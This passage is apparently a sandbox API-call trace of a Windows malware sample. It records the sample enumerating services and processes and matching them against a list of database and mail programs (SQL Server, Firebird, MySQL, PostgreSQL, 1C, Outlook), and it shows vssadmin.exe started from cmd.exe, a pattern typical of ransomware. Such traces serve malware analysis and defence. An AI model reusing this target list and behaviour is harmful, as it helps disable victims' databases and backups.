lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiSystemHost") returned -1 [0186.439] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiSystemHost") returned -1 [0186.439] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiSystemHost") returned -1 [0186.439] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiSystemHost") returned -1 [0186.439] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiSystemHost") returned -1 [0186.439] lstrlenW (lpString="WinHttpAutoProxySvc") returned 19 [0186.439] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0186.439] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0186.439] lstrcmpiW (lpString1="sqlwriter", lpString2="WinHttpAutoProxySvc") returned -1 [0186.439] lstrcmpiW (lpString1="mssqlserver", lpString2="WinHttpAutoProxySvc") returned -1 [0186.439] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WinHttpAutoProxySvc") returned -1 [0186.439] lstrlenW (lpString="Winmgmt") returned 7 [0186.439] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Winmgmt") returned -1 [0186.439] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Winmgmt") returned -1 [0186.439] lstrcmpiW (lpString1="sqlwriter", lpString2="Winmgmt") returned -1 [0186.439] lstrcmpiW (lpString1="mssqlserver", lpString2="Winmgmt") returned -1 [0186.439] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Winmgmt") returned -1 [0186.439] lstrlenW (lpString="WPDBusEnum") returned 10 [0186.439] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WPDBusEnum") returned -1 [0186.439] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WPDBusEnum") returned -1 [0186.439] lstrcmpiW (lpString1="sqlwriter", lpString2="WPDBusEnum") returned -1 [0186.439] lstrcmpiW (lpString1="mssqlserver", lpString2="WPDBusEnum") returned -1 [0186.439] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WPDBusEnum") returned -1 [0186.439] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6b5c80 | out: hHeap=0x5c0000) returned 1 [0186.440] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x210 [0186.441] Process32FirstW (in: hSnapshot=0x210, lppe=0x23cfd34 | out: lppe=0x23cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0186.442] Process32NextW (in: hSnapshot=0x210, lppe=0x23cfd34 | out: lppe=0x23cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x52, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0186.442] lstrlenW (lpString="System") returned 6 [0186.442] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1 [0186.442] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1 [0186.442] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1 [0186.442] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1 [0186.442] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="System") returned -1 [0186.442] lstrcmpiW (lpString1="mysqld.exe", lpString2="System") returned -1 [0186.442] lstrcmpiW (lpString1="sqlservr.exe", lpString2="System") returned -1 [0186.442] Process32NextW (in: hSnapshot=0x210, lppe=0x23cfd34 | out: lppe=0x23cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0186.443] lstrlenW (lpString="smss.exe") returned 8 [0186.443] lstrcmpiW (lpString1="1c8.exe", lpString2="smss.exe") returned -1 [0186.443] lstrcmpiW (lpString1="1cv77.exe", lpString2="smss.exe") returned -1 [0186.443] lstrcmpiW (lpString1="outlook.exe", lpString2="smss.exe") returned -1 [0186.443] lstrcmpiW (lpString1="postgres.exe", lpString2="smss.exe") returned -1 [0186.443] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="smss.exe") returned -1 [0186.443] lstrcmpiW (lpString1="mysqld.exe", lpString2="smss.exe") returned -1 [0186.443] lstrcmpiW (lpString1="sqlservr.exe", lpString2="smss.exe") returned 1 [0186.443] Process32NextW (in: hSnapshot=0x210, lppe=0x23cfd34 | out: lppe=0x23cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x13c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0186.443] lstrlenW (lpString="csrss.exe") returned 9 [0186.443] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0186.443] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0186.443] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0186.443] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0186.443] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0186.443] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0186.443] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0186.443] Process32NextW (in: hSnapshot=0x210, lppe=0x23cfd34 | out: lppe=0x23cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x13c, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0186.444] lstrlenW (lpString="wininit.exe") returned 11 [0186.444] lstrcmpiW (lpString1="1c8.exe", lpString2="wininit.exe") returned -1 [0186.444] lstrcmpiW (lpString1="1cv77.exe", lpString2="wininit.exe") returned -1 [0186.444] lstrcmpiW (lpString1="outlook.exe", lpString2="wininit.exe") returned -1 [0186.444] lstrcmpiW (lpString1="postgres.exe", lpString2="wininit.exe") returned -1 [0186.444] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="wininit.exe") returned -1 [0186.444] lstrcmpiW (lpString1="mysqld.exe", lpString2="wininit.exe") returned -1 [0186.444] lstrcmpiW (lpString1="sqlservr.exe", lpString2="wininit.exe") returned -1 [0186.444] Process32NextW (in: hSnapshot=0x210, lppe=0x23cfd34 | out: lppe=0x23cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0186.444] lstrlenW (lpString="csrss.exe") returned 9 [0186.444] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0186.444] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0186.444] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0186.444] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0186.444] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0186.444] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0186.444] Process32NextW (in: hSnapshot=0x210, lppe=0x23cfd34 | out: lppe=0x23cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0186.445] lstrlenW (lpString="winlogon.exe") returned 12 [0186.445] Process32NextW (in: hSnapshot=0x210, lppe=0x23cfd34 | out: lppe=0x23cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0186.445] lstrlenW (lpString="services.exe") returned 12 [0186.445] Process32NextW (in: hSnapshot=0x210, lppe=0x23cfd34 | out: lppe=0x23cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0186.445] lstrlenW (lpString="lsass.exe") returned 9 [0186.446] Process32NextW (in: hSnapshot=0x210, lppe=0x23cfd34 | out: lppe=0x23cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0186.446] lstrlenW (lpString="lsm.exe") returned 7 [0186.446] Process32NextW (in: hSnapshot=0x210, lppe=0x23cfd34 | out: lppe=0x23cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0186.446] lstrlenW (lpString="svchost.exe") returned 11 [0186.446] Process32NextW (in: hSnapshot=0x210, lppe=0x23cfd34 | out: lppe=0x23cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0186.447] lstrlenW (lpString="svchost.exe") returned 11 [0186.447] Process32NextW (in: hSnapshot=0x210, lppe=0x23cfd34 | out: lppe=0x23cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0186.447] lstrlenW (lpString="svchost.exe") returned 11 [0186.447] Process32NextW (in: hSnapshot=0x210, lppe=0x23cfd34 | out: lppe=0x23cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x324, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x17, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0186.447] lstrlenW (lpString="svchost.exe") returned 11 [0186.447] Process32NextW (in: hSnapshot=0x210, lppe=0x23cfd34 | out: lppe=0x23cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x374, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2d, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0186.448] lstrlenW (lpString="svchost.exe") returned 11 [0186.448] Process32NextW (in: hSnapshot=0x210, lppe=0x23cfd34 | out: lppe=0x23cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0186.448] lstrlenW (lpString="audiodg.exe") returned 11 [0186.448] Process32NextW (in: hSnapshot=0x210, lppe=0x23cfd34 | out: lppe=0x23cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0186.448] lstrlenW (lpString="svchost.exe") returned 11 [0186.448] Process32NextW (in: hSnapshot=0x210, lppe=0x23cfd34 | out: lppe=0x23cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1f, th32ParentProcessID=0x370, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0186.449] lstrlenW (lpString="explorer.exe") returned 12 [0186.449] Process32NextW (in: hSnapshot=0x210, lppe=0x23cfd34 | out: lppe=0x23cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x41c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x324, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0186.449] lstrlenW (lpString="dwm.exe") returned 7 [0186.449] Process32NextW (in: hSnapshot=0x210, lppe=0x23cfd34 | out: lppe=0x23cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x450, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0186.449] lstrlenW (lpString="svchost.exe") returned 11 [0186.450] Process32NextW (in: hSnapshot=0x210, lppe=0x23cfd34 | out: lppe=0x23cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x3a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="n.exe")) returned 1 [0186.450] lstrlenW (lpString="n.exe") returned 5 [0186.450] Process32NextW (in: hSnapshot=0x210, lppe=0x23cfd34 | out: lppe=0x23cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x510, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0186.450] lstrlenW (lpString="spoolsv.exe") returned 11 [0186.450] Process32NextW (in: hSnapshot=0x210, lppe=0x23cfd34 | out: lppe=0x23cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x57c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0186.451] lstrlenW (lpString="svchost.exe") returned 11 [0186.451] Process32NextW (in: hSnapshot=0x210, lppe=0x23cfd34 | out: lppe=0x23cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x584, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0186.451] lstrlenW (lpString="taskhost.exe") returned 12 [0186.451] Process32NextW (in: hSnapshot=0x210, lppe=0x23cfd34 | out: lppe=0x23cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x4f0, pcPriClassBase=8, dwFlags=0x0, szExeFile="reader_sl.exe")) returned 1 [0186.451] lstrlenW (lpString="reader_sl.exe") returned 13 [0186.451] Process32NextW (in: hSnapshot=0x210, lppe=0x23cfd34 | out: lppe=0x23cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x370, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x7dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="n.exe")) returned 1 [0186.452] lstrlenW (lpString="n.exe") returned 5 [0186.452] Process32NextW (in: hSnapshot=0x210, lppe=0x23cfd34 | out: lppe=0x23cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x504, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x370, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0186.452] lstrlenW (lpString="cmd.exe") returned 7 [0186.452] Process32NextW (in: hSnapshot=0x210, lppe=0x23cfd34 | out: lppe=0x23cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x350, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x184, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0186.452] lstrlenW (lpString="conhost.exe") returned 11 [0186.452] Process32NextW (in: hSnapshot=0x210, lppe=0x23cfd34 | out: lppe=0x23cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x658, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x504, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 1 [0186.453] lstrlenW (lpString="vssadmin.exe") returned 12 [0186.453] Process32NextW (in: hSnapshot=0x210, lppe=0x23cfd34 | out: lppe=0x23cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x658, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x504, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 0 [0186.453] CloseHandle (hObject=0x210) returned 1 [0186.453] Sleep (dwMilliseconds=0x1f4) [0187.144] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x633d50 [0187.144] EnumServicesStatusExW (in: hSCManager=0x633d50, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x23cff44, lpServicesReturned=0x23cff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x23cff44, lpServicesReturned=0x23cff5c, lpResumeHandle=0x0) returned 0 [0187.145] GetLastError () returned 0xea [0187.145] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x11e4) returned 0x6b5c80 [0187.145] EnumServicesStatusExW (in: hSCManager=0x633d50, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x6b5c80, cbBufSize=0x11e4, pcbBytesNeeded=0x23cff44, lpServicesReturned=0x23cff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x6b5c80, pcbBytesNeeded=0x23cff44, lpServicesReturned=0x23cff5c, lpResumeHandle=0x0) returned 1 [0187.145] CloseServiceHandle (hSCObject=0x633d50) returned 1 [0187.145] lstrlenW (lpString="Appinfo") returned 7 [0187.145] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0187.145] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0187.145] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0187.146] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0187.146] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0187.146] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0187.146] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0187.146] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0187.146] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0187.146] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0187.146] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0187.146] lstrlenW (lpString="AudioSrv") returned 8 [0187.146] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1 [0187.146] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1 [0187.146] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1 [0187.146] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1 [0187.146] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1 [0187.146] lstrlenW (lpString="BFE") returned 3 [0187.146] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0187.146] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0187.146] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0187.146] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0187.146] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0187.146] lstrlenW (lpString="CryptSvc") returned 8 [0187.146] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0187.146] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0187.146] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0187.146] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0187.146] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0187.146] lstrlenW (lpString="CscService") returned 10 [0187.146] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1 [0187.146] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1 [0187.146] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1 [0187.146] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1 [0187.146] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1 [0187.147] lstrlenW (lpString="DcomLaunch") returned 10 [0187.147] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0187.147] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0187.147] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0187.147] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0187.147] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0187.147] lstrlenW (lpString="Dhcp") returned 4 [0187.147] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0187.147] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0187.147] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0187.147] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0187.147] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0187.147] lstrlenW (lpString="Dnscache") returned 8 [0187.147] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0187.147] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0187.147] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0187.147] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0187.147] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0187.147] lstrlenW (lpString="DPS") returned 3 [0187.147] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0187.147] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0187.147] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0187.147] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0187.147] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0187.147] lstrlenW (lpString="eventlog") returned 8 [0187.147] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1 [0187.147] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1 [0187.147] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1 [0187.148] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1 [0187.148] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1 [0187.148] lstrlenW (lpString="EventSystem") returned 11 [0187.148] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0187.148] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0187.148] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0187.148] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0187.148] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0187.148] lstrlenW (lpString="gpsvc") returned 5 [0187.148] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0187.148] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0187.148] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0187.148] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0187.148] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0187.148] lstrlenW (lpString="iphlpsvc") returned 8 [0187.148] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0187.148] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0187.148] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0187.148] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0187.148] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0187.148] lstrlenW (lpString="LanmanServer") returned 12 [0187.148] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0187.148] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0187.148] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0187.148] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0187.148] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0187.148] lstrlenW (lpString="LanmanWorkstation") returned 17 [0187.148] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0187.148] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0187.148] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0187.148] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0187.149] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0187.149] lstrlenW (lpString="lmhosts") returned 7 [0187.149] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0187.149] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0187.149] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0187.149] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0187.149] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0187.149] lstrlenW (lpString="MMCSS") returned 5 [0187.149] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1 [0187.149] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1 [0187.149] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1 [0187.149] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1 [0187.149] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1 [0187.149] lstrlenW (lpString="MpsSvc") returned 6 [0187.149] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0187.149] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0187.149] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0187.149] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0187.149] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0187.149] lstrlenW (lpString="Netman") returned 6 [0187.149] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Netman") returned -1 [0187.149] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Netman") returned -1 [0187.149] lstrcmpiW (lpString1="sqlwriter", lpString2="Netman") returned 1 [0187.149] lstrcmpiW (lpString1="mssqlserver", lpString2="Netman") returned -1 [0187.149] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Netman") returned 1 [0187.149] lstrlenW (lpString="netprofm") returned 8 [0187.149] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0187.149] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", 